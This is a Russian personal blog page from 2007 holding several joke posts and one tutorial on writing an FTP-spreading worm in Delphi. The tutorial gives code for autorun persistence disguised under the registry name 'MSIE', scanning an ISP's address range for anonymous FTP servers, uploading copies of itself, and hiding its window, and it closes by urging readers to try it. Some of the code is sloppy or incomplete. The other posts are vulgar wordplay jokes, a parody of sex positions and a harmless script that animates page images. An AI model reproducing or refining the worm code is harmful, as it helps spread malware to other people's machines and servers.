-Рубрики

 -Музыка

 -Стена

Perseph0na Perseph0na написал 03.01.2010 14:56:48:
Ты появляйся, пусть изредка, на день - другой, но появляйся!

 -Подписка по e-mail

 

 -Поиск по дневнику

Поиск сообщений в Perseph0na

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 03.02.2007
Записей:
Комментариев:
Написано: 2710

Прикольчик

Дневник

Пятница, 09 Марта 2007 г. 08:59 + в цитатник

http://www.grand-illusions.com/images/articles/opticalillusions/dragon_illusion/dragon_illusion.wmv
Рубрики:  ЮМОР

Метки:  

,,,,,,,,,,,,,,,,

Дневник

Воскресенье, 04 Марта 2007 г. 17:17 + в цитатник

...Давай сегодня напишем своего сетевого червя? Тебе по любому хотелось иметь такую зверушку! Сегодня я тебе в этом помогу! Писать мы будем на Delphi6. Наш червь будет распространяться через ftp сервера с анонимным входом. Итак, поехали! Создай новый проект. Так же размести на форме компонент NMFTP (так и назови, без всяких 1).
Затем надо объявить 2 глобальные переменные. Делается это после строки var, которая идёт после строк
public
{ Public declarations }
end;
в самом начале unit’a.
Так же добавьте в использующиеся модули WinSock и Registry.
Давайте пропишем червя в реестре:
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
// Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение //файла
RegIni.WriteString('RunServices', 'MSIE', Application.ExeName);
RegIni.Free;
Чтоб он автоматом загружался при запуске системы.
Нужно объявить 2 стринговые переменные – ip1st и ip2nd. В них будет лежать ip разбитый на 4 части.
Выглядеть она у тебя должна так:
var
Form1: TForm1;
ip1st,ip2nd:string;
Далее нужно получить IP заражённой машины. Делается это с помощью следующей функции(Назовём её GetLocalIP):
function GetLocalIP: String;
const WSVer = $101;
var
wsaData: TWSAData;
P: PHostEnt;
Buf: array [0..127] of Char;
begin
Result := '';
if WSAStartup(WSVer, wsaData) = 0 then begin
if GetHostName(@Buf, 128) = 0 then begin
P := GetHostByName(@Buf);
if P nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
end;
WSACleanup;
end;
end;
Данная функция определит IP зараженной тачки и вернёт его нам в виде строки.
Затем нам надо поделить полученный IP на 4 части. Давай напишем такую функцию и назовём её CutIP(разрезание IP). Вот её код:
function CutIP(ip:string):string; // Функции будет передаваться ip-адрес в виде строки
var
// Объявляем 2 числовые переменные – pos1 и count
pos1,count:integer;
// Объявляем строковую переменную piece
piece:string;
begin
//1-ое число IP
piece:=ip;
// Присваиваем переменой piece значение переменной ip(которая передаётся
// В виде главного параметра функции
// Затем засовываем в переменную Pos1 число которое обозначает
// кол-во символов до первой точки в переменной piece (там лежит наш IP)
pos1:=Pos('.', piece);
// Затем удаляем из строки piece 30 символов после первой точки
// в итоге у нас остаётся только первое число ip-адреса
Delete(piece,pos1,30);
// которое мы засовываем в переменную ip1st
ip1st:= piece;
// Далее всё идёт по такой же схеме
//2-ое число ip
piece:=ip;
pos1:=Pos('.', piece);
Delete(piece,1,pos1);
pos1:=Pos('.', piece);
Delete(piece,pos1,30);
ip2nd:= piece;
end;
Теперь первые 2 числа IP-адреса заражённой машины разбит на 2 части и засунут в 2 переменные.
Всё, все нужные нам функции отписаны. Теперь давайте создадим обработчик события OnCreate главной формы. Здесь будет то, что должно происходить при запуске червяка. Вот и начинается самое интересное:
Для начала присвоим несколько переменных разных типов, для этого перед begin напишем:
var
my_ip:string; // здесь будет хранится наш ip
ftp_list,scan_ip_list:TStrings; // Здесь будут хранится список фтп и ip которые
// надо просканить
count,count1,count2:integer; // Обычные счётчики для циклов
Всё, с переменными закончено, далее пишем код самого червяка(между begin и end разумеется).
my_ip:=getLocalIp; // Засовываем в my_ip результат функции GetLocalIP
// Это будет IP заражённой тачки
// Далее создаём списки
ftp_list:=TStringList.Create;
scan_ip_list:=TStringList.Create;
//Затем разрезаем ip, который мы получили
CutIP(GetLocalIP);
// Теперь весь ip засунут в глобальные переменные
// Даём приложению проработатся чтоб не вызывать зависания
Application.ProcessMessages;
// Выстраиваем лист IP
// Начинаем цикл от 0 до 255
for count2:=1 to 255 do
begin
// Снова даём приложению проработаться
Application.ProcessMessages;
// Засовываем в ip3rd номер данного цикла
ip3rd:=IntToStr(count2);
// Внутри начинаем ещё один цикл
for count:=1 to 255 do
begin
// Даём приложению проработатся
Application.ProcessMessages;
// Добавляем в scan_ip_list IP-адресс сгенерированный нашим
// червяком на основе полученного ip с заражённой машины
scan_ip_list.Add(ip1st+'.'+ip2nd+'.'+ip3rd+'.'+IntToStr(count));
end;
end;
// Конец выстраивания
// Теперь у нас есть ip всех 255-подсеток провайдера к которому подключон
// заражённый комп
// Даём приложению проработатся
Application.ProcessMessages;
// Начинаем сканить на открытые ftp
// Цикл идёт от 1 до кол-ва строк в scan_ip_list, где хранится наш список ip
for count1:=1 to scan_ip_list.Count-1 do
begin
Application.ProcessMessages;
// Присваиваем параметру host – значение состоящие из строки под номером //исполняемого цикла
NMFTP.Host:=Scan_ip_List.Strings[count1];
// Пытаемся соединится
NMFTP.Connect;
// Если соединение прошло удачно
if NMFTP.Connected then
begin
// то добовляем адрес в список ftp_list
ftp_list.Add(NMFTP.Host);
end;
end;
// Снова даём проге проработатся
Application.ProcessMessages;
// конец скана на открытые фтп
end;
После этого в переменной ftp_list имеется весь список ip на которых открыт 21-ый порт.
Далее нам нужно распространить копии червя по всем имеющимся в списке ftp-серверам.
Я не буду прямо описывать весь процесс, а заставлю поработать вашу фантазию.
При коннекте нам передаётся список главной директории. Получить его можно с помощью следующего кода:
NMFTP.NList;
//Далее создаём обработчик события OnListItem
// и в нём пишем следующую вещь
[имя_списковой переменной].Add(Listing);
После этого в переменной будет лежать список папок и файлов. Тут может возникнуть трабл с закачкой червя на ftp т.к. не в каждую папку может быть разрешена запись.
Проверить это можно следующим образом: попробовать залить в корневой каталог, если не получится то начать цикл в котором будет браться строка с именем папки/файла. Далее меняем папку на ту, которую взяли из списка, если ошибка(это может быть файл) то идти дальше, если удалось сменить то пробуем залить и т.д. Если залить удалось, то коннектимся на следующую фтп’шку и проделываем то же самое.
Папка меняется кодом NMFTP.ChangeDir(имя_папки);
Закачка файлов происходит следующим образом:
NMFTP.Download(‘имя_закачиваемого_файла’,’имя_под_которым_файл_сохранится_на_сервере’);
Теперь надо скрыть главную форму от глаз пользователя, делается это следующим образом:
Зайди в Project>View Source
Откроется окно редактирования кода, сам код должен выглядеть следующим образом:
var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle, SW_HIDE);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true, false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.
Если поработать головой, то можно за 30 минут написать червя который ещё и все папки найдёт, на фтп, в которых запись разрешена.
Вообщем дерзайте! Удачи!

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Рубрики:  ЮМОР
SOFT
МЫСЛИ ВСЛУХ

Метки:  

Лингвошок! ( С руссского на другие )

Дневник

Понедельник, 19 Февраля 2007 г. 12:16 + в цитатник
В колонках играет - Грязно-серая лиса
Настроение сейчас - 3.14здец - саю посвящается!

На португальском языке лингвошокирующей фразой будет: В июле блинчиками объесться
[In Juliо рidаrаs оhuеlоs].

На испанском: Черное платье для моей внучки [Трахе  негро
пара ми ниета].

На турецком: Характер каждого быка [Хер манд аныб хуюб]. 

На арабском:
Семья моего брата - лучшая в стране [Усрат ахуй атъебифи биляди].  А теперь - ХИТ
СЕЗОНА!

На китайском: Грязно-серая лиса шаг за шагом возвращается  в общежитие . [Х%й
лю лю хули ибу ибу х%й суши].


Рубрики:  ЮМОР

Метки:  

Жданов-приколист

Дневник

Суббота, 17 Февраля 2007 г. 19:28 + в цитатник
В колонках играет - Стоит таких наделать ( приколов )
Настроение сейчас - ++++++++++++++++++++++++++++++++

для УЛЫБКИ - всем в ЦИТАТНИК

...


мега вещь......


подведи курсор к  точке красной






Рубрики:  БAЯН

Метки:  

Позиция "Hоворусская"

Дневник

Воскресенье, 04 Февраля 2007 г. 03:39 + в цитатник
В колонках играет - Позиция "Прощай, школа!"
Настроение сейчас - Позиция "Прощай, школа!"

Позиция "Hоворусская"

Мужское начало Инь, именуемое в дальнейшем "Заказчик", заключает договор о намерениях с женским началом Янь, именуемой в дальнейшем "Подрядчик". Подрядчик обязуется шесть раз подряд. Заказчик обязуется заказать еще два.

Позиция "Прощай, школа!"

Позиция характерна повышенным количеством шоколадных конфет и лимонада, которые партнер и партнерша поглощают для самовозбуждения. Позиция считается выполненной, когда партнеры берутся за руки.

Позиция "Молодой олень, наблюдающий за полетом бабочки, напившейся нектара дикой орхидеи, распустившейся под утренними лучами солнца, освещающего бурные потоки горной реки, размывающей левый берег, на котором стоит молодой олень".

Эффект от применения позиции наступает в момент дочитывания названия позиции до
конца.

Позиция "Прощай, школа!"

Партнер опускается вниз и, поддерживая себя руками, ложится на спину. Партнерша усаживается сверху, и они с шумом и улюлюканьем скатываются с горы.

Позиция "Hа износ"

Хороша для садомазохистских игр. Исполняется партнером в три часа ночи после выполнения работы по дому, починки мебели, гуляния с ребенком, укладывания последнего и долгого объяснения партнерше, куда делась зарплата. Выполнять позицию следует исключительно после троекратного напоминания партнерши о необходимости выполнения позиции именно сегодня.

Позиция "Вологодская"

Партнеры уединяются и окают друг на друга.

Позиция "Оппозиция"

Активный партнер (т.н."правительство") выполняет позицию с пассивным партнером (т.н."народ"). Позиция выполняется активным партнером в такой форме и в том объеме, которые активный партнер считает необходимым. Пассивный партнер делает вид, что ничего не происходит, а позицию выполняют с кем-то другим. Третий партнер (т.н."оппозиция") наблюдает за позицией и делает все возможное, чтобы подменить собой активного партнера, если он совершит какую-нибудь ошибку.

Позиция "Hапоследок"

Как правило, это шестая или седьмая позиция за ночь. Выполняется партнершей под утро. Партнер не подозревает, что он принимает участие в этой позиции.
Рубрики:  БAЯН

Метки:  

Прикольные скрипты

Дневник

Суббота, 03 Февраля 2007 г. 01:28 + в цитатник
 (160x200, 6Kb)
В колонках играет - заходим на сайт, где много картинок вводим
Настроение сейчас - наслаждаемся полетами)))))

Забавные или серьезные скрипты прописываемые прямиком в браузерах

--------------------------------------------------------------------------------

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24;x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length;function A(){for(i=0; i < DIL; i++){DIS=DI[ i ].style;DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5;DIS.top=Math .cos(R*y1+i*y2+y3)*y4+y5}R++ }setInterval('A()',5); void(0)


заходим на сайт, где много картинок вводим этот скрипт в адресную строку и наслаждаемся полетами)))))
P.S сли у кого нить есть подобные скрипты выкладывайте плз!!!!
Рубрики:  SOFT

Метки:  

 Страницы: [1]